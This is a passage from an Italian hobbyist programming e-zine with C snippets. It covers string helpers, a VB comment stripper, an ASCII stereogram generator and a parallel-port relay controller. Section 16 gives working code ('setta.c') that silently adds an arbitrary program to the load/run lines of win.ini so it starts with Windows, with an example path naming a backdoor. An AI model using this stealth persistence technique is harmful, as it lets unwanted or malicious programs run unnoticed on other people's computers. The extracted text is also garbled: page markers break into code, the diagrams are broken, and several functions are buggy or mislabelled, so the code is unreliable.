int instr(char *st1,char *st2,int pos);
char *change(char *str, char *da, char *a);
char *left(char *str, int nc);
char *right(char *str, int nc);
main()
{
// 0123456789012345678901234567890123456789012345678901234567890
char *p="prova c:#wind prova #syste prova m#oks prova ";
clrscr();
printf("%s\n",mid(p,0,3));
printf("%d\n",instr(p,"prov",16));
printf("%s\n",change("<WINDOWS>\\cuccurullo pp","<WINDOWS>","pippo"));
printf("%s\n",left("<WINDOWS>\\cuccurullo pp pippo",10));
printf("%s\n",right("<WINDOWS>\\cuccurullo pp pippo",3));
getch();
exit(0);
}
//-----------------------------------------------------------------// restituisce la substringa della stringa "str"
// "nc" caratteri dopo "pos" compreso
//-----------------------------------------------------------------char *mid(char *str,int pos,int nc)
{
char s[0xff];
int n,k=0;
for(n=pos;n<=pos+nc-1;n++)
s[k++]=str[n];
s[k]=0;
return(s);
}
//------------------------------------------------------------------
//-----------------------------------------------------------------// restituisce la stringa "str" sostituendo la substringa
// "da" con la substringa "a". Se "da" non viene trovata
// restituisce "str" senza modifiche.
//-----------------------------------------------------------------//-----------------------------------------------------------------char *change(char *str, char *da, char *a)
{
char s[0xff];
int pos=instr(str,da,0),k;
if(pos<0)return(str);
strcpy(s,mid(str,0,instr(str,da,0)));
strcat(s,a);
k=instr(str,da,0)+strlen(da);
strcat(s,mid(str,k,strlen(str)-k));
Pagina 67
return(s);
netrun9.txt
}
//------------------------------------------------------------------
//-----------------------------------------------------------------// trova la posizione della substringa "st2" in "st1" a partire
// da "pos". Il primo carattere e' alla posizione 0.
//-----------------------------------------------------------------int instr(char *st1,char *st2,int pos)
{
int tro,n,m;
for(n=pos;n<=strlen(st1)-strlen(st2);n++){
tro=1;
for(m=n;m<=n+strlen(st2)-1;m++)
if(st1[m]!=st2[m-n])tro=0;
if(tro==1)return(n);}
return(-1);
}
//------------------------------------------------------------------
//-----------------------------------------------------------------// restituisce gli ultimi "nc" caratteri di "str"
//-----------------------------------------------------------------char *left(char *str, int nc)
{
return(mid(str,strlen(str)-nc,nc));
}
//------------------------------------------------------------------
//-----------------------------------------------------------------// restituisce i primi "nc" caratteri di "str"
//-----------------------------------------------------------------char *right(char *str, int nc)
{
return(mid(str,0,nc));
}
//-----------------------------------------------------------------::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
//-------------------------------------------------------------------------------------------------14. Togliere i rem da un sorgente vb
//-------------------------------------------------------------------------------------------------hi hi ..
Si trovano in giro un sacco di librerie per vb.. purtroppo sono spesso piene
Pagina 68
netrun9.txt
di remark che in
un proprio programma -sfigurano- :))
Levare tutti i rem a mano e' una rottura di scatole.
Farlo automaticamente invece e' piu' comodo anche se non proprio immediato.
Sappiamo che un rem in VB e' inizilizzato tramite il carattere " ' " ascii=39
(nessuno usa piu' la dicitura REM al fine di evitare di mostrare agli altri di
essere rimoasto
ancorato agli standard del quick basic o peggio del gwbasic.. he he .. chissa'
perche' poi ..
sono linguaggi che io spesso uso ancora, avevano ed HANNO un loro fascino. Di
certo il quick basic
o il powerbasic (ma anche il gwbasic) offrono possibilita' di programamzione a
basso livello
su territori assolutamente inesplorati dal visual basic: interrupt, linguaggio
macchina, ecc.. )
Ovviamente non e' possibile fare uno script che elimini tutto cio che trova
dopo un ascii 39 fino
a fine riga perche' esistono deicasi eccezionali che vanno considerati:
ad esempio la riga :
for n=1 to 100: a$=" pippo '(" + cstr$(n) + ")" : next n
verrebbe stroncata senza pieta' come
for n=1 to 100: a$=" pippo
.. il vb chiuderebbe automaticamente la stringa a$ aggiungendo le virgolette
e non dando nessun
errore.. ma la libreria non funzionerebbe piu'.
uno script per ovviare a questo (ed altri) inconvenienti simili e' il
seguente:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
LEVAREMVB.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
#include <stdio.h>
main(int nf,char **file)
{
FILE *fp,*fp2;
int a,k=0,v=-1;
fp=fopen(file[1],"rb");
fp2=fopen("passa","wb");
while(!feof(fp))
{
a=fgetc(fp);
v=a==34?-v:v;
k=a==39&&v<0?1:k;
k=a==10||a==13?0:k;
if(a>=0&&k==0)fputc(a,fp2);
}
fclose(fp);
fclose(fp2);
remove(file[1]);
rename("passa",file[1]);
}
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
Per processare un file la sintassi sara'
LEVAREM
file_da_processare.vb
Pagina 69
netrun9.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
//-------------------------------------------------------------------------------------------------15. Creare stereogrammi 3d con poghe righe di c
//-------------------------------------------------------------------------------------------------Chi non conosce gli stereogrammi?
Chi non si e' mai -spaccato gli occhi- cercando ci vedere al loro interno? ;-)
Le prime volte la cosa risulta molto difficile, poi piano piano ci si prende la
mano (o l'occhio)
e via via vederli risulta sempre piu' facile fino a quando la cosa e'
addirittura immediata.
Hannop indiscutibilemnte una grande attrattiva su di noi perche' ci permettono
di visualizzare
una realta' tridimensionale trasformando solo col nostro cervello una immagine
assolutamente piatta.
Si trovano in rete una grande moltitudine di immagini e programmi per crearli:
http://www.comlab.ox.ac.uk/archive/ , http://members.aol.com/ginbg/3dstereo/
, ecc..
Quindi tralasciero' la spiegazione tecnica di tutta la cosa che potrete trovare
a ruota dei siti
che ho sopra elencato.
Quella che segue invece e' la -miniaturizzazione- di un programma noto che crea
stereogrammi ascii.
Uno stereogramma ascii e' una magica composizione di lettere random (tanto da
sembrare uan specie di
codice cifrato) ma guardandolo attentamente emerge dal suo interno un disegno
sottostante in rilievo.
Il disegnoche noi avremo nascosto tramite questo piccolo, efficiente e magico
programma in C.
L'utilizzo e' oltremodo semplice.
Si crea un file di testo con l'immagine da nascondere (quella che poi
risultera' in rilievo)
as esempio
-------------------- SPP.txt
11111111111111
11111111111111
11111111111111
11111
11111
11111
11111111111111
11111111111111
11111111111111
11111
11111
11111
1111111111111
1111111111111
1111111111111
11111
1111
11111
1111
11111
1111
1111111111111
1111111111111
1111111111111
11111
11111
11111
1111111111111
1111111111111
1111111111111
11111
1111
11111
1111
11111
1111
1111111111111
1111111111111
1111111111111
11111
11111
11111
Pagina 70
11111111111111
11111111111111
11111111111111
11111
11111
11111
netrun9.txt
11111
11111
11111
-------------------al posto dei numeri "1" si mettera' 2,3, ..9 al fine di ottenere poi nello
stereogramma una
maggiore profondita' dell'immagine in rilievo!
il programma per l'elaborazione e' il seguente:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
STEREO.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
#include <stdio.h>
main(){
char m[0xaa],s[0xaa];
int un=0x10,du=0x47,tr,qu,ci;
long se;
time (&se);
srand (se);
while(memset(m,0x0,du+1),fgets(m,du+1,stdin)){
qu=0;
s[du]=0;
for(tr=0;tr<du;){
qu=0;
while(tr>=un&&tr<du&&(ci=m[tr-un])>=0x30&&ci<=0x39){
qu=1;
s[tr]=s[tr-un+ci-0x30];
tr++;}
s[tr++]=(qu||tr<un)?'!'+rand()%0x5c:s[tr-un];}
puts(s);}
}
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
usando questa sintassi:
STEREO
< SPP.txt > Uscita.txt
si otterra' il file di testo Uscita.txt rappresentante lo stereogramma.
q>)_D@CZHlpw0(X[q>)_D@CZHlpw0(X[q>)_D@CZHlpw0(X[q>)_D@CZHlpw0(X[q>)_D@C
g;RMb&y9")[:4Z0,g;RMb&y9")[:4Z0,g;RMb&y9")[:4Z0,g;RMb&y9")[:4Z0,g;RMb&y
#|d-ukht!{vO9VHr#|d-ukht!{vO9VHr#|d-ukht!{vO9VHr#|d-ukht!{vO9VHr#|d-ukh
2N_t#D_^Z%=Uhbwq2N_t#D^Z%=Uhbwq2N_t#!D^Z=Uhbwq2N_t#!D.^ZUhbwq2N_t#!D.h^
vXjIU;R_<faIfPG4vXjIU;_<faIfPG4vXjIUs;_<aIfPG4vXjIUs;V_<IfPG4vXjIUs;Vv_
9fPhfG$0X&I>$I519fPhfG0X&I>$I519fPhf5G0XI>$I519fPhf5G20X>$I519fPhf5G2n0
<Fl/Sh@4|QSvX)J^<Fl/Sh4|QSv[X)J^<Fl/Sh4|Sv[X)eJ^<l/Sh,4|v[X)etJ^</Sh,D4
SV,Sy,w(|S&xOosKSV,Sy,(|S&xXOosKSV,Sy,(|&xXOo;sKS,Sy,8(|xXOo;nsKSSy,8:(
SEv5%5x.W/M"onauSEv5%5.W/M"GonauSEv5%5.WM"Gon3auSv5%5'.W"Gon3#auS5%5';.
N$^-lq9,6:(Hm09(N$^-lq,6:(Hm09(N$^-l<q,6(Hm09(N$^-l<qH,6Hm09(N$^-l<qHJ,
doqkN#lV7=KU[OsPdoqkN#V7=KU[OsPdoqkNa#V7KU[OsPdoqkNa#LV7U[OsPdoqkNa#L-V
lW'6zyo"k+1h(e6ClW'6zy"k+1h(e6ClW'6zUy"k1h(e6ClW'6zUy2"kh(e6ClW'6zUy2f"
,D,mzf_YExc0o?K_,D,mzf_YExc0o?K,D,mz$f_Yxc0o?YK,D,mz$f_Yc0o?YwK,D,mz$f_
;uAUJNt7=T-0I!A%;uAUJNt7=T-0I!A;uAUJSNt7T-0I!9A;uAUJSNt7-0I!97A;uAUJSNt
Pagina 71
netrun9.txt
A|F{@x')tJzXU4csA|F{@x')tJzXU4cA|F{@;x')JzXU4QcA|F{@;x')zXU4QlcA|F{@;x'
G5l&B3Jo/?z9c$,{G5l&B3o/?z9c$,{G5l&BD3o/z9c$,l{G5l&BD3o/9c$,lc{G5l&BD3o
F#{XrkTgV+,,YpErF#{XrkgV+,,YpErF#{Xr.kgV,,YpE\rF#{Xr.kgV,YpE\XrF#{Xr.kg
N66qShr:,.Sb3bkxN66qSh:,.Sb3bkxN66qSLh:,Sb3bk'xN66qSLh:,b3bk'bxN66qSLh:
dm0G1,(gkeLsG)&Hdm0G1,(gkeLsG)&Hdm0G1,(gkeLsG)&Hdm0G1,(gkeLsG)&Hdm0G1,(
(v(]`-,lSV\hvWPV(v(]`-,lSV\hvWPV(v(]`-,lSV\hvWPV(v(]`-,lSV\hvWPV(v(]`-,
p@kbUD[ilK]dSFd'p@kbUD[ilK]dSFd'p@kbUD[ilK]dSFd'p@kbUD[ilK]dSFd'p@kbUD[
non riuscite a vederlo ? :))
beh .. c'e' un trucco per vederlo: le barre di prospettiva.
(sono le due x che rappresentano una ideale intersezione del punto focale)
Guardatele attentamente cercano di NON mettere a fuoco l'immagine da una
distanza di circa 50 cm.
Quando riuscirete (solo con la vista e con un po' di impegno) a sovrapporre
le due x ve ne appariranno 3 .. a quel punto la vostra focale per la
visualizzazione dello stereogramma sara' bilanciato.
Osservate sotto e vedrete in rilievo la scritta SPP.
Non datevi per vinti .. le prime volte io ho impiegato 10 minuti buoni per
riuscire a vedere qualcosa.. poi col tempo e con la pratica i vostri occhi
si abitueranno alla novita' e la cosa sara' praticamente istantanea.
Una volta imparato a leggere gli stereogrammi il vostro cervello non se lo
dimentichera' piu' per tutto il resto della vostra vita.
X
X
q>)_D@CZHlpw0(X[q>)_D@CZHlpw0(X[q>)_D@CZHlpw0(X[q>)_D@CZHlpw0(X[q>)_D@C
g;RMb&y9")[:4Z0,g;RMb&y9")[:4Z0,g;RMb&y9")[:4Z0,g;RMb&y9")[:4Z0,g;RMb&y
#|d-ukht!{vO9VHr#|d-ukht!{vO9VHr#|d-ukht!{vO9VHr#|d-ukht!{vO9VHr#|d-ukh
2N_t#D_^Z%=Uhbwq2N_t#D^Z%=Uhbwq2N_t#!D^Z=Uhbwq2N_t#!D.^ZUhbwq2N_t#!D.h^
vXjIU;R_<faIfPG4vXjIU;_<faIfPG4vXjIUs;_<aIfPG4vXjIUs;V_<IfPG4vXjIUs;Vv_
9fPhfG$0X&I>$I519fPhfG0X&I>$I519fPhf5G0XI>$I519fPhf5G20X>$I519fPhf5G2n0
<Fl/Sh@4|QSvX)J^<Fl/Sh4|QSv[X)J^<Fl/Sh4|Sv[X)eJ^<l/Sh,4|v[X)etJ^</Sh,D4
SV,Sy,w(|S&xOosKSV,Sy,(|S&xXOosKSV,Sy,(|&xXOo;sKS,Sy,8(|xXOo;nsKSSy,8:(
SEv5%5x.W/M"onauSEv5%5.W/M"GonauSEv5%5.WM"Gon3auSv5%5'.W"Gon3#auS5%5';.
N$^-lq9,6:(Hm09(N$^-lq,6:(Hm09(N$^-l<q,6(Hm09(N$^-l<qH,6Hm09(N$^-l<qHJ,
doqkN#lV7=KU[OsPdoqkN#V7=KU[OsPdoqkNa#V7KU[OsPdoqkNa#LV7U[OsPdoqkNa#L-V
lW'6zyo"k+1h(e6ClW'6zy"k+1h(e6ClW'6zUy"k1h(e6ClW'6zUy2"kh(e6ClW'6zUy2f"
,D,mzf_YExc0o?K_,D,mzf_YExc0o?K,D,mz$f_Yxc0o?YK,D,mz$f_Yc0o?YwK,D,mz$f_
;uAUJNt7=T-0I!A%;uAUJNt7=T-0I!A;uAUJSNt7T-0I!9A;uAUJSNt7-0I!97A;uAUJSNt
A|F{@x')tJzXU4csA|F{@x')tJzXU4cA|F{@;x')JzXU4QcA|F{@;x')zXU4QlcA|F{@;x'
G5l&B3Jo/?z9c$,{G5l&B3o/?z9c$,{G5l&BD3o/z9c$,l{G5l&BD3o/9c$,lc{G5l&BD3o
F#{XrkTgV+,,YpErF#{XrkgV+,,YpErF#{Xr.kgV,,YpE\rF#{Xr.kgV,YpE\XrF#{Xr.kg
N66qShr:,.Sb3bkxN66qSh:,.Sb3bkxN66qSLh:,Sb3bk'xN66qSLh:,b3bk'bxN66qSLh:
dm0G1,(gkeLsG)&Hdm0G1,(gkeLsG)&Hdm0G1,(gkeLsG)&Hdm0G1,(gkeLsG)&Hdm0G1,(
(v(]`-,lSV\hvWPV(v(]`-,lSV\hvWPV(v(]`-,lSV\hvWPV(v(]`-,lSV\hvWPV(v(]`-,
p@kbUD[ilK]dSFd'p@kbUD[ilK]dSFd'p@kbUD[ilK]dSFd'p@kbUD[ilK]dSFd'p@kbUD[
X
X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
//-------------------------------------------------------------------------------------------------16. Installare di nascosto nel win.ini un proprio programma per l'autorun
Pagina 72
netrun9.txt
//-------------------------------------------------------------------------------------------------Spesso uno dei modi miglio e piu' efficaci per far partir un porgramma
all'apertura di
windows e' quello di installarlo nel file win.ini
alla sezione [windows] (se c'e'!) e' possibile aggiungere le righe
LOAD = <path e nome di un programma da esguire>
oppure
RUN = <path e nome di un programma da eseguire>
nel caso uno o ambedue i comandi siano gia presenti (ad esempio nel caso si sia
installato un
programma che gia li sfrutta) e' possbile aggiungere -successivi- programmi da
eseguire in cascata
seprando i path e i nomi rispettivi tramite il segno "," (virgola)
ad esempio
load = c:\windows\ok.exe , c:\borland\bin\due.exe , c:\backdoor\nonsense.exe
oppure
run = c:\windows\ok.exe , c:\borland\bin\due.exe , c:\backdoor\nonsense.exe
(tra RUN e LOAD ci sara' sicuramente una qualche differenza .. io non l'ho mai
capita! :)))
ad ogni modo il programma che segue inserisce stealth il nome di un programma
nel win.ini
rispettando le seguenti regole
se trova una riga load aggiunge alla stessa il nome del programma separandolo
da quello
preesistente con una virgola
altrimenti se trova una riga run aggiunge alla stessa il nome del programma
separandolo da quello
preesistente con una virgola
altrimenti se non le trova cerca la sezione [windows]
se la trova aggiunge una riga load=<nome del programma>
+--------+
| inizio |
+---+----+
|
/\ c'e' un comando load preimpostato?
__________/ ?\___________________________
|
\ns/
|
|
\/
+-------+
/\ c'e' una comando run preimpostato? |
$
| aggiunge " ,
path\nome_file "
____/ ?\__________
+-------+
|
\ns/
|
|
|
\/
|
fine
|
+--------+
|_____
|
$
| aggiunge " , path\nome_file "
|
+--------+
|
|
|
fine
|
/\ c'e' una sezione [windows]?
____/ ?\__________
|
\ns/
|
|
\/
|
|
+--------+
fine
|
$
| aggiunge " load = path\nome_file "
Pagina 73
netrun9.txt
+--------+
|
fine
il programma:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
setta.c
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
#include <stdio.h>
#include <dos.h>
#include <windows.h>
int vedi(char *prog);
char *tolo(char *a);
int PASCAL WinMain(HANDLE hInstance, HANDLE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow)
{
FILE *f,*f2;
char s[100],s1[200],s2[200];
int trovato=0;
int nf=_argc;
char **file=_argv;
if(nf<=1)exit(0);
GetWindowsDirectory(s1,200);
GetWindowsDirectory(s2,200);
strcat(s1,"\\");
strcat(s1,"win.ini");
strcat(s2,"\\");
strcat(s2,"passa");
if(vedi(s1)<0)exit(0);
f=fopen(s1,"rb");
f2=fopen(s2,"wb");
while(!feof(f)){
fgets(s,100,f);
if(strstr(s,tolo("load=")))trovato=1;}
if(trovato==1){
rewind(f);
while(!feof(f)){
fgets(s,100,f);
if(strstr(s,tolo("load="))){
s[strlen(s)-2]=0;
strcat(s," , ");
strcat(s,file[1]);
strcat(s,"\r\n");};
fputs(s,f2);}
goto fine;}
trovato=0;rewind(f);
while(!feof(f)){
fgets(s,100,f);
if(strstr(s,tolo("run=")))trovato=1;}
if(trovato==1){
rewind(f);
while(!feof(f)){
fgets(s,100,f);
if(strstr(s,tolo("run="))){
s[strlen(s)-2]=0;
strcat(s," , ");
Pagina 74
strcat(s,file[1]);
strcat(s,"\r\n");};
fputs(s,f2);}
goto fine;}
netrun9.txt
trovato=0;rewind(f);
while(!feof(f)){
fgets(s,100,f);
if(strstr(s,tolo("[windows]")))trovato=1;}
if(trovato==1){
rewind(f);
while(!feof(f)){
fgets(s,100,f);
if(strstr(s,tolo("[windows]"))){
fputs(s,f2);
strcpy(s,"load=");
strcat(s,file[1]);
strcat(s,"\r\n");};
fputs(s,f2);}
goto fine;}
fine:
fclose(f);
fclose(f2);
remove(s1);
rename(s2,s1);
exit(0);
}
int vedi(char *prog)
{
struct ffblk ffblk;
int ok;
ok = findfirst(prog,&ffblk,0);
if(ok>=0)return 1;
else return -1;
}
char *tolo(char *a){
int i=0;
char *c=(char *)malloc(strlen(a)+2);
while((c[i]=tolower(a[i]))!=0)i++;
return(c);
}
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
sintassi:
setta <path/file>
Con setta nome_file il parametro nome_file viene aggiunto al file win.ini
con le specifiche di "autorun" pronto a partire cioe' al successivo riavvio
di windows.
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
Pagina 75
netrun9.txt
//-------------------------------------------------------------------------------------------------17. automatismo software in c per l'output tramite la porta parallela
//-------------------------------------------------------------------------------------------------Utlilizzare l'interfaccia parallela (lpt) del computer avere a disposizione una
linea di dati
in output a 8 bit e' veramente elementare.
Basta considerare queste semplici cose:
1 i pin da 2 a 9 della connettore parallelo corrispondono ai -dati- da 0 a 7
(i bytes che vengono inviati normalmente durante le operazioni di stampa ad
esempio)
Per settare uno o piu' di questi pin sul valore zero o uno e' sufficiente usare
l'istruzione
portb(Assegnamento,dato)
dove dato e' il bytes da inviare.
ad esempio 255 mettera' a 1 tutti i bit relativi ai dati da d0 a d7..
Dato
255
137
6
d7 d6 d5 d4 d3 d2 d1 d0
1 1 1 1 1 1 1 1
1 0 0 0 1 0 0 1
0 0 0 0 0 1 1 0
ecc...
"Assegnamento" e' l'indirizzo di assegnamento della porta parallela che si
intendera' usare.
Solitamente questo indirizzo e' o 0x378 0 0x278 ..
ma io non lo so!? ..he he .. me lo immaginavo.
Si puo' trovare facilmente con due righe di c
//--------------------------------------------------------------#include <stdio.h>
#include <dos.h>
void main(void)
{
unsigned int far *ptraddr;
unsigned int address;
int a;
ptraddr=(unsigned int far *)0x00000408;
for (a = 0; a < 3; a++){
address = *ptraddr;
if (address == 0) printf(" (vuoto) LPT%d \n",a+1);
else printf(" 0x0%X LPT%d \n",address,a+1);
*ptraddr++;}
}
//--------------------------------------------------------------emh.. pero' a voler essere onesti si potrebbe trovare anche a mano solo col
debug! hi hi hi
basta controllare gli 8 bytes a seguire la locazione di memoria 0040:0008
cosi':
Pagina 76
netrun9.txt
>debug
-d 0040:0008 L8
avendo una risposta tipo questa:
0040:0008
78 03 78 02 00 00 00 00
sapremmo subito di avere la LPT1 su 0x378 e la LPT2 su 0x278. (Lpt3/4 non
presenti)
Il programma in C fa la stessa cosa ma volete mettere lo stile!? :))
.. per quanto riguarda invece l'uso dei pin della parallela al fine di
controllare un carico
con una discreta potenza potremmo usare queste soluzioni.
1. visualizzazione degli stati dei pin
Pin d0
d1
d2
d2
d3
__|__
__|__
__|__
__|__
__|__
\
/
\
/
\
/
\
/
\
/
\./ Led
\./ Led
\./ Led
\./ Led
\./ Led
--|---|---|---|---|-|
|
|
|
|
\
\
\
\
\
/ 470 ohm / 470 ohm / 470 ohm / 470 ohm / 470 ohm
\
\
\
\
\
|
|
|
|
|
+----------+----------+----------+----------+---------- Pin 18-25
2. Utilizzo di un relais per il contollo di un carico ad elevata potenza.
12V
|
+------+
|
__|__
Relais /^\ 1N4002
a 12v /---\
|
|
+------+
|
| /
1N4148
4.7K
|/
PIN Dx >----|>|-+--\/\/\/--|
2N2222
|
|\ E
+-|<|-+
|
1N4148 |
|
GNDallel >-----------+------+
parallela
|
GND
Perfetto! :)) .. abbiamo tutto quello che ci serve.
Costruiremo N circuiti di tipo (2) per comandare N carichi diversi. Max 8!
Si potrebbero avere piu' carichi utili volendo perche' la periferica parallela
usa anche
Pagina 77
netrun9.txt
altri bit oltre a quelli -data- : status e control.
L'automatismo che avevo pensato e' un banalissimo programma in C che legge le
impostazioni
sequenziali delle poete e le relative temporizzazioni da un file di testo
scitto alla bisogna.
(ps il programma che segue governa solo 4 carichi utili invece di otto perche'
mi era stato
richiesto cosi'.
Per chi volesse cambiare da 4 a 8 e' necessario cambiare questo spezzone di
codice
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.n1=atoi(s);
fscanf(f,"%s",s);n2=atoi(s);
fscanf(f,"%s",s);n3=atoi(s);
fscanf(f,"%s",s);n4=atoi(s);
fscanf(f,"%s",s);T=atol(s);
p=time(NULL);
outp(0x378,(n1+2*n2+4*n3+8*n4));
printf("Metto la porta a %d%d%d%d =%2d -> Timer %4ld
secondi\n",n1,n2,n3,n4,n1+2*n2+4*n3+8*n4,T);
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.con questo (ovviamente dichiarando prima tutte le variabili e cambiando gli
script di conseguenza!)
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.n1=atoi(s);
fscanf(f,"%s",s);n2=atoi(s);
fscanf(f,"%s",s);n3=atoi(s);
fscanf(f,"%s",s);n4=atoi(s);
fscanf(f,"%s",s);n5=atoi(s);
fscanf(f,"%s",s);n6=atoi(s);
fscanf(f,"%s",s);n7=atoi(s);
fscanf(f,"%s",s);n8=atoi(s);
fscanf(f,"%s",s);T=atol(s);
p=time(NULL);
outp(0x378,(n1+2*n2+4*n3+8*n4+16*n5+32*n6+64*n7+128*n8));
printf("Metto la porta a %d%d%d%d%d%d%d%d =%2d -> Timer %4ld \
secondi\n",n1,n2,n3,n4,n5,n6,n7.n8,n1+2*n2+4*n3+8*n4+16*n5+32*n6+64*n7+128*n8,T)
;
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-
Il programma
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
AUTOMAC.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
#include <stdio.h>
#include <dir.h>
#include <conio.h>
#include <stdlib.h>
#include <time.h>
#include <ctype.h>
int vedi(char *prog);
char *tolo(char *a);
main (int a, char **b)
{
Pagina 78
FILE *f;
char s[10];
int n1,n2,n3,n4;
long T;
netrun9.txt
time_t p;
if(a!=2)
{
printf("AUTOMAC file_script\n");
exit(0);
}
if(vedi(b[1])<0)
{
printf("file script [%s] non trovato\n",b[1]);
exit(0);
};
f=fopen(b[1],"rb");
while(!strstr(s,tolo("-inizio-")))fscanf(f,"%s",s);
while(!feof(f))
{
fscanf(f,"%s",s);if(strstr(s,tolo("-fine-"))){printf("\nFinito.\n");exit(0);}
n1=atoi(s);
fscanf(f,"%s",s);n2=atoi(s);
fscanf(f,"%s",s);n3=atoi(s);
fscanf(f,"%s",s);n4=atoi(s);
fscanf(f,"%s",s);T=atol(s);
p=time(NULL);
outp(0x378,(n1+2*n2+4*n3+8*n4));
printf("Metto la porta a %d%d%d%d =%2d -> Timer %4ld
secondi\n",n1,n2,n3,n4,n1+2*n2+4*n3+8*n4,T);
while(time(NULL)<p+T){}
}
}
char *tolo(char *a){
int i=0;
char *c=(char *)malloc(strlen(a)+2);
while((c[i]=tolower(a[i]))!=0)i++;
return(c);
}
int vedi(char *prog)
{
struct ffblk ffblk;
int ok;
ok = findfirst(prog,&ffblk,0);
if(ok>=0)return 1;
else return -1;
}
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
uno script di esempio
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
script.scp
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
Questo e' un semplice esempio di script
ci puoi scrivere dentro quello che ti pare basta come testo che
Pagina 79
e
netrun9.txt
tra tra i due terminatori di inizio e di fine ci siano
esclusivamente i dati relativi allo stato delle porte e il timer
i dati sono formati da cinque numeri: i primi quattro sono lo
stato dei "carichi" 1=acceso e 0=spento. Il quinto numero identifica
per quanti secondi dovra' restare attivo quel particolare stato
nello script sotto ad esempi .. alla partenza e' tutto spento per
il primo secondo, quindi si accende il carico 2, dopo 2 secondi si
accende anche il carico 3 assieme al 2, dopo un secondo il carico tre si spegne
dopo altro tre secondi si spegne anche il carico 2 accendendosi il 4 che
resta acceso per 10 secondi dopo di che il carico uno lampeggia per due volte
alla frequenza di un secondo ed e' tutto finito. ;-)
c1 c2 c3 c4 Timer
------------------inizio0
0
0
0
0
1
0
1
0
0
1
1
1
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
1
2
1
3
10
1
1
1
0
-fine-----------------::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
.. trasformando il programma automac.c considerando tutti e 8 i carichi utili
su i pin -datalo script dovrebbe essere pero' scritto cosi'
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
script.scp
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
c1 c2 c3 c4 c5 c6 c7 c8 Timer
------------------------------inizio0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
